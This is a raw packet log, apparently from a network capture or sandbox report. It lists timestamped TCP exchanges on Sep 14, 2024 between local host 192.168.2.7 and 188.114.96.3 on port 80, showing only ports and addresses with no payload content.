Sep 14, 2024 18:44:28.941081047 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941087961 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.941098928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941114902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941117048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.941131115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941145897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941152096 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.941163063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941179037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941181898 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.941212893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.941536903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941553116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941582918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941597939 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.941598892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941612005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941627979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941631079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.941643953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.941705942 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.996470928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.996511936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.996566057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.996572018 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.996599913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.996634960 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.996668100 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.996691942 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.996717930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:28.996726036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.996756077 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:28.996799946 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.022495031 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.022527933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.022546053 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.022618055 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.022625923 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.022639990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.022660971 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.022680998 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.022748947 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.022766113 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.022775888 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.022788048 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.022808075 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.022821903 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.022828102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.022847891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.022892952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.022908926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.022926092 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.022933960 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.022963047 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.023216009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023299932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023315907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023365974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023377895 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.023391962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023413897 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.023421049 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023437977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023453951 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023463011 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.023484945 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023493052 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.023580074 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023595095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023610115 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023627043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023680925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.023680925 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.023685932 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023701906 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023715973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.023744106 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.023744106 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.025602102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.025619030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.025635004 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.025671005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.025679111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.025687933 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.025703907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.025717974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.025732040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.025748014 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.025780916 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.025855064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.025964975 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.025979042 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026000977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026009083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.026038885 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.026067019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026082993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026098967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026118994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026138067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026155949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.026202917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026221037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026246071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026248932 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.026262999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026287079 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.026326895 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026366949 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.026473045 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026489973 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026504993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026519060 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026532888 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026549101 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026563883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026571035 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.026580095 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026595116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026598930 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.026619911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.026741028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026757002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026772976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026787043 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026791096 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.026803017 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026818037 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026833057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026844978 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.026848078 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026863098 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.026879072 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.026902914 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027079105 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027095079 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027108908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027123928 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027137995 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027139902 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027158976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027158976 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027175903 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027190924 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027205944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027220964 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027235985 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027236938 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027252913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027262926 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027292013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027471066 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027487040 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027504921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027519941 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027535915 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027549982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027566910 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027575970 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027580976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027610064 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027628899 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027637959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027652979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027667999 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027683020 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027693033 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027698994 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027718067 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027733088 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027734995 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027749062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027756929 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027765036 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027784109 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027802944 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027810097 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027818918 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027834892 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027848959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.027858973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027858973 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.027882099 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.028214931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.028229952 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.028244972 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.028259993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.028275013 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.028275013 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.028294086 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.028302908 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.028310061 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.028326035 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.028331995 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.028397083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.083220959 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.083297968 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.083312988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.083333969 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.083349943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.083359003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.083365917 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.083381891 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.083405018 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.083477020 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.083515882 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.112508059 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.112576962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.112612009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.112644911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.112679005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.112710953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.112747908 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.112765074 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.112811089 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.112895012 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.112929106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.112993956 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.113074064 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113109112 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113128901 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.113142967 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113173962 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113188982 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.113229990 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113264084 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113277912 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.113301039 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113334894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113356113 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.113399982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113445997 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.113609076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113642931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113677025 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113711119 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113744974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113754988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.113754988 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.113780022 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113814116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113825083 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.113864899 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113898993 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113912106 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.113931894 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113965988 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.113974094 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.115746021 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.115803003 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.115917921 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.115950108 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.115983009 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116010904 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.116015911 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116056919 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116058111 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.116106987 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116139889 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116154909 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.116174936 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116208076 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116219044 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.116262913 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116297007 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116311073 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.116332054 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116364002 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116378069 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.116415977 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116447926 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116461992 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.116482019 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116511106 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116527081 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.116544008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116580009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.116595030 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116628885 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116662979 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116669893 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.116702080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116734028 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116755009 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.116765976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116799116 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116808891 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.116836071 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116878986 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.116930008 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116964102 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.116997957 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117011070 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.117031097 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117067099 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117073059 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.117115974 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117147923 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117161989 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.117181063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117216110 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117222071 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.117249966 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117291927 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.117299080 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117331982 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117364883 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117373943 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.117399931 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117444038 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.117450953 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117482901 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117516041 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117527008 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.117548943 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117585897 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117595911 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.117619991 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117652893 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117683887 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117708921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.117732048 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.117742062 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117778063 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117809057 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117841005 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117872000 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.117873907 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117883921 CEST	54891	80	192.168.2.7	188.114.96.3
Sep 14, 2024 18:44:29.117924929 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117959976 CEST	80	54891	188.114.96.3	192.168.2.7
Sep 14, 2024 18:44:29.117970943 CEST	54891	80	192.168.2.7	188.114.96.3
